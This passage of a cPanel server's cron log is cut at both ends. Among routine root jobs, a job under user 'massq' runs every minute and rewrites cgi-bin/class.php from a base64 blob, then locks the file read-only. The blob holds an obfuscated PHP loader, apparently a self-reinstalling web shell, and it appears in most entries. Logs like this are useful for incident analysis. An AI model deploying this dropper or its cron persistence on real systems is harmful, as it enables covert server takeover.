TGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:53:01 server CROND[15960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:54:01 server CROND[16340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:54:01 server CROND[16339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:54:01 server CROND[16342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:55:01 server CROND[16709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:55:01 server CROND[16710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:55:01 server CROND[16712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:55:01 server CROND[16711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:55:01 server CROND[16715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:55:01 server CROND[16718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:55:01 server CROND[16720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:56:01 server CROND[17534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:56:01 server CROND[17535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:56:01 server CROND[17536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:57:01 server CROND[17900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:57:01 server CROND[17901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:57:01 server CROND[17902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:57:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:58:01 server CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:58:01 server CROND[18372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:58:01 server CROND[18373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:59:01 server CROND[18750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:59:01 server CROND[18751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:59:01 server CROND[18754]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  8 02:59:01 server CROND[18752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:00:01 server CROND[19157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:00:01 server CROND[19158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:00:01 server CROND[19159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:00:01 server CROND[19162]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:00:01 server CROND[19165]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 03:00:01 server CROND[19170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:00:01 server CROND[19166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:00:01 server CROND[19163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:00:01 server CROND[19164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:01:01 server CROND[20032]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 03:01:01 server CROND[20033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:01:01 server CROND[20034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:01:01 server CROND[20035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:01:01 server run-parts(/etc/cron.hourly)[20032]: starting 0anacron
Sep  8 03:01:01 server anacron[20056]: Anacron started on 2026-09-08
Sep  8 03:01:01 server run-parts(/etc/cron.hourly)[20058]: finished 0anacron
Sep  8 03:01:01 server anacron[20056]: Will run job `cron.daily' in 48 min.
Sep  8 03:01:01 server anacron[20056]: Jobs will be executed sequentially
Sep  8 03:02:01 server CROND[20574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:02:01 server CROND[20573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:02:01 server CROND[20575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:03:01 server CROND[21058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:03:01 server CROND[21059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:03:01 server CROND[21060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:04:01 server CROND[21440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:04:01 server CROND[21441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:04:01 server CROND[21442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:05:01 server CROND[21880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:05:01 server CROND[21882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:05:01 server CROND[21883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRV